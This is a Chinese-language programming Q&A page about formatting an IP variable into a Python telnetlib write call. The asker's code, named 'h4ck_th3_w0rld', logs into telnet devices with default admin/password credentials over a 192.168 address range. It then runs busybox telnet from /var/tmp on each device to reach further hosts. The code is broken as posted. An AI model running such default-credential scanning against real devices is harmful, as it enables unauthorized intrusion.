【问题标题】:How can I add variable at end of write function and place it loop如何在写入函数末尾添加变量并将其放置循环
【发布时间】:2020-12-18 22:14:54
【问题描述】:

我正在使用 telnetlib.Telnet 函数连接到 telnet 设备,但我不知道如何在写入函数末尾添加变量,我看到 How do I put a variable inside a string? bu 对我没有帮助,所以这是我的代码

def h4ck_th3_w0rld(HOST):
    user = 'admin'
    password = 'password'
    tn = None
    try:
        tn = telnetlib.Telnet(HOST, 23, 11)
 
        tn.read_until("Username: ", 7)
        tn.write(user + "\n")
        if password:
            tn.read_until("Password: ", 7)
            tn.write(password + "\n")

    for i in range(100, 256):
        for j in range(7, 7):
            ip_addressa = '192.168.%d.%d' % (j, i)
            h4ck_th3_w0rld(ip_addressa)
            print(ip_addressa)

    tn.write("cd /var/tmp\n")
    tn.write("./busybox telnet {}\n"(ip_addressa)) <--- here add ip_addressa variable
        tn.write("exit\n")

我需要将 /var/tmp/busybox telnet 172.24.%d.%d 放在一边的 while 循环中并请求看起来像这样

./busybox telnet 192.168.7.100
./busybox telnet 192.168.7.101

【问题讨论】:

  • 执行与将ji 放入ip_addressa 相同的方法
  • 你明明知道如何用变量格式化字符串,为什么你认为这有什么不同?

标签: python for-loop telnet


【解决方案1】:

你需要连接它:

tn.write("./busybox telnet " + ip_addressa + "\n")

或使用format():

tn.write("./busybox telnet {}\n".format(ip_addressa))

【讨论】:

  • UnboundLocalError: 分配前引用的局部变量 'ip_addressa' 无
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2015-06-16
  • 1970-01-01
  • 2013-08-14
相关资源
最近更新 更多